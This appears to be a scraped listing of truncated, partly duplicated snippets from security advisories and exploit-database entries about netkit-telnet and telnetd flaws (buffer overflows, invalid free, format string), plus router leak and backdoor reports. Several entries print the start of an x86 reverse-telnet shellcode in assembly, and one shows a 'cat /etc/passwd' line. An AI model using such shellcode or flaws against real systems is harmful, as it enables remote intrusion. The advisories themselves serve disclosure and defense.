[SECURITY] [DSA 569-1] New netkit-telnet-ssl packages fix denial of service

-------------------------------------------------------------------------- Debian Security Advisory DSA 569-1 [email protected] http://www.debian.org/security/ Martin Schulze October 18th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 569-1] New netkit-telnet-ssl packages fix denial of service

-------------------------------------------------------------------------- Debian Security Advisory DSA 569-1 [email protected] http://www.debian.org/security/ Martin Schulze October 18th, 2004 http://www.debian.org/security/faq -...

DSA-569-1 netkit-telnet-ssl - invalid free(3)

Bulletin has no description...

GLSA-200410-03 : NetKit-telnetd: buffer overflows in telnet and telnetd

The remote host is affected by the vulnerability described in GLSA-200410-03 NetKit-telnetd: buffer overflows in telnet and telnetd A possible buffer overflow exists in the parsing of option strings by the telnet daemon, where proper bounds checking is not applied when writing to a buffer...

NetKit-telnetd: buffer overflows in telnet and telnetd

Background NetKit-telnetd is a standard Linux telnet client and server from the NetKit utilities. Description A possible buffer overflow exists in the parsing of option strings by the telnet daemon, where proper bounds checking is not applied when writing to a buffer. Additionaly, another possibl...

[SECURITY] [DSA 556-1] New netkit-telnet packages fix invalid free

-------------------------------------------------------------------------- Debian Security Advisory DSA 556-1 [email protected] http://www.debian.org/security/ Matt Zimmerman October 2nd, 2004 http://www.debian.org/security/faq -...

DSA-556-1 netkit-telnet - invalid free(3)

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Debian DSA-070-1 : netkit-telnet - remote exploit

The netkit-telnet daemon contained in the telnetd package version 0.16-4potato1, which is shipped with the 'stable' 2.2, potato distribution of Debian GNU/Linux, is vulnerable to an exploitable overflow in its output handling. The original bug was found by , and announced to bugtraq on Jul 18 200...

Debian DSA-075-1 : netkit-telnet-ssl - remote exploit

The telnet daemon contained in the netkit-telnet-ssl0.16.3-1 package in the 'stable' potato distribution of Debian GNU/Linux is vulnerable to an exploitable overflow in its output handling. The original bug was found by , and announced to bugtraq on Jul 18 2001. At that time, netkit-telnet versio...

Debian DSA-529-1 : netkit-telnet-ssl - format string

'b0f' discovered a format string vulnerability in netkit-telnet-ssl which could potentially allow a remote attacker to cause the execution of arbitrary code with the privileges of the telnet daemon the 'telnetd' user by default. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive...

linux/x86 Reverse telnet 134 bytes

No description provided by source. / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi movl %eax,0x5b%esi movb $0xb,%al movl...

Generic Shell Detectors (3COM SuperStack Telnet)

Binary data 2322.prm...

Generic Shell Detectors (Windows 2000 Telnet)

Binary data 2321.prm...

Generic Shell Detectors (Checkpoint Telnet)

Binary data 2320.prm...

linux/x86 Reverse telnet 134 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 Reverse telnet 134 bytes ================================== / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl...

linux/x86 Reverse telnet 134 bytes

linux/x86 Reverse telnet 134 bytes. Shellcode exploit for linx86 platform / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl %ebx,0x57%esi xorl %eax,%eax movb %eax,0x7%esi movb %eax,0xa%esi movb %eax,0x4e%esi mov...

Buffer overflow in multiple OS telnetd

It's possible to overflow buffer with AYT telnet protocol command...

[Full-Disclosure] Debian netkit telnetd vulnerability

Exposure: Remote root compromise through buffer handling flaws Confirmed vulnerable: Up-to-date Debian 3.0 woody issue is Debian-specific Debian netkit-telnet-ssl-0.17.24+0.1 package Debian netkit-telnet-ssl-0.17.17+0.1 package Mitigating factors: Telnet service must be running and accessible to...

Zyxel Prestige 681 SDSL router information leak

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello, Zyxel P681 with ZyNOS S/W Version: Vt020225a | 2/25/2002 installed leaks random portions of memory in ARP requests: 21:47:05.709295 arp who-has x.x.x.x tell x.x.x.x 0x0000 0001 0800 0604 0001 00a0 c526 3cc1 xxxx ................ 0x0010 xxxx 000...

dynalink.Backdoor.txt

I was playing with a Dynalink RTA 230 http://www.dynalink.co.nz/products/rta230.htm, a linux based mips-cored adsl router. Looking at embedded linux system, i've found something like a backdoor: cat /etc/passwd admin:xxxxxobscuredxxxxx:0:0:Administrator:/:/bin/sh...